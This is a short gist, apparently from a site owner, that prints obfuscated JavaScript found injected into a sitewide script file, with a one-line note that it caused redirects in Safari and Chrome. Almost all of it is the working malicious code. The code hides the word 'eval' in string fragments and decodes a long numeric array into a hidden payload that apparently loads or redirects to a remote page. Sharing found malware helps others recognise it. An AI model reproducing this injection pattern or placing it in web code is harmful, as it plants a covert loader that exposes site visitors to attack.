Hacked JS file caused redirect to google.com in Safari and Chrome, but not Firefox. This code was at the top of a sitewide JS file, but all one line.

gistfile1.js

ff=String.fromCharCode;
zz=3;
try{
  document.body/=2
}catch(gdsgd){
  v="va"+"l";
  if(document)
    try{
      document.body=12;
    }catch(gdsgsdg){
      asd=0;
      try{
        q=document.createElement("div");
      }catch(q){
        asd=1;
      }
      if(!asd){
        w={a:window}.a;
        vv="e"+v;
      }
    }
  e=w[vv];
  if(1){
    f=new Array(118,96,112,32,104,113,95,98,102,114,110,107,101,31,59,32,109,95,118,104,101,97,115,109,114,45,115,115,100,112,65,102,99,110,115,44,116,110,74,111,118,99,114,66,95,115,100,38,41,45,103,110,99,99,120,78,100,40,38,97,104,113,109,109,100,37,41,31,60,32,44,47,59,9,116,97,113,30,105,114,93,115,96,100,97,113,103,32,60,30,110,96,116,105,102,95,116,110,112,46,116,113,101,113,63,103,100,108,116,45,114,111,75,109,119,100,112,67,96,113,101,39,39,46,104,108,100,100,118,79,101,38,39,114,95,102,96,112,105,38,39,32,61,30,45,48,57,10,9,8,105,101,30,40,104,113,95,98,102,114,110,107,101,31,122,124,31,103,115,94,113,97,101,95,114,104,39,32,31,121,10,31,30,32,31,117,105,109,98,111,118,44,108,110,97,97,115,103,111,109,59,34,103,114,116,111,56,47,46,101,111,110,101,108,100,44,99,110,107,34,58,8,125,31,99,108,114,99,32,122,8,118,96,112,32,94,111,32,60,30,100,110,97,117,108,99,110,115,44,99,113,99,97,115,99,69,107,99,109,100,108,116,39,37,105,101,112,97,108,99,39,40,42,10,31,30,32,31,93,110,31,59,32,38,113,101,115,63,116,115,112,105,97,115,116,100,37,59,9,93,113,90,93,110,92,38,39,114,112,99,38,42,32,38,102,116,115,110,58,46,45,98,113,103,100,96,106,112,107,95,99,100,113,46,98,109,109,46,113,116,99,113,47,102,109,46,111,102,112,62,113,105,99,59,49,38,39,59,9,93,113,45,113,116,120,106,101,45,110,111,114,103,116,104,109,110,31,59,32,38,95,98,114,109,108,116,114,101,38,57,10,94,111,46,114,114,121,107,99,46,118,103,100,115,102,32,60,30,39,48,52,112,119,37,59,9,93,113,90,93,110,92,38,39,101,112,97,108,99,98,110,112,100,100,112,39,43,30,110,96,116,105,102,95,116,110,112,46,116,113,101,113,63,103,100,108,116,45,103,110,99,99,120,78,100,40,38,100,48,96,53,97,48,50,50,97,53,53,52,47,55,49,98,97,54,48,102,101,53,52,96,47,97,98,48,53,48,55,57,38,39,32,42,30,49,40,57,10,94,111,46,114,114,121,107,99,46,107,99,102,115,30,61,31,37,45,52,51,57,54,110,120,38,57,10,99,109,99,116,107,101,109,114,46,118,112,105,115,99,40,38,58,100,104,116,32,104,98,61,91,37,95,94,98,114,48,47,57,50,54,92,38,60,60,46,98,105,117,60,39,40,57,10,99,109,99,116,107,101,109,114,46,102,99,116,68,106,101,108,99,110,115,64,121,72,98,40,38,93,95,99,112,49,48,55,51,55,37,41,45,95,112,111,99,110,99,65,104,104,106,100,39,93,113,40,57,10,9,8,125);
  }
  w=f;
  s=[];
  for(i=2-2;-i+640!=0;i+=1){
    j=i;
    if((031==0x19))
      if(e)s=s+ff((1*w[j]+j%zz));
  }
  xz=e;
  xz(s)
}